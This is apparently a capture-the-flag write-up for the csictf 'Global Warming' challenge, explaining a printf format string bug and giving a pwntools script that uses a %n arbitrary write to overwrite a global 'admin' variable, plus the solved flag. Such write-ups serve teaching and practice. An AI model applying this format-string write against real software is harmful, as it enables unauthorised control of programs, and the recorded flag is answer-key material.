# Global Warming

## Analysis&#x20;

This was a *different* type of binary exploitation challenge. First, check the protections.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInRXzAwoXBrjRT42fQ%2Fimage.png?alt=media\&token=96cc69d7-e953-4f18-a35b-e7e978040d64)

Much like the others. Let's run it.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInRZlON1KuWhJPwKVu%2Fimage.png?alt=media\&token=15e4719c-3bb3-47bb-a9fa-31cbe3495877)

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInRc4stTNKi4flxIt_%2Fimage.png?alt=media\&token=c2025135-8402-4c0d-b1ee-1f61041c8db5)

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInRebzepNWbaLSqjMH%2Fimage.png?alt=media\&token=391ac22c-43aa-480d-add4-824f456776c2)

&#x20;`main` is very simple - takes in input (using a secure `fgets()`, explaining why there was no BoF) and passes the input to the `login()` function.

![](https://815184494-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MInDVexIZ47VkOdGSlp%2F-MInPA__u6zOBiuGBvY2%2F-MInRi2h0TVFD9LMeuOL%2Fimage.png?alt=media\&token=0a8492d8-c988-46b0-a08b-bd1952bb22b6)

Input it printed back to us, as we saw, with `printf`. This causes the format string. The interesting part is it checks the global `admin` variable before printing the flag.<br>

Clearly, we have to overwrite the `admin` variable somehow. To do this, we're going to have to leverage the format string `%n` specifier for an arbitrary write.<br>

`%n` takes a pointer to a signed int, where the **number of characters written so far is stored**. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it *where* to write the data. As we can control the input, we can tell it *how much*. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call `%n`. We can even use other fancy format string specifiers to shorten it enough,<br>

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)<br>

* [LiveOverflow - Format String with %n](https://www.youtube.com/watch?v=0WvrSfcdq1I)
* [Format String Vulnerability](http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf)

There are plenty more resources online.

## Exploitation

&#x20;Luckily for us, `pwntools` contains a feature to automate `%n` exploitation.

{% hint style="warning" %}
You should **understand how the exploit works** before you use tools to do it for you.
{% endhint %}

The pwntools module is `fmtstr_payload`, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

```python
from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())
```

Flag: `csictf{n0_5tr1ng5_@tt@ch3d}`
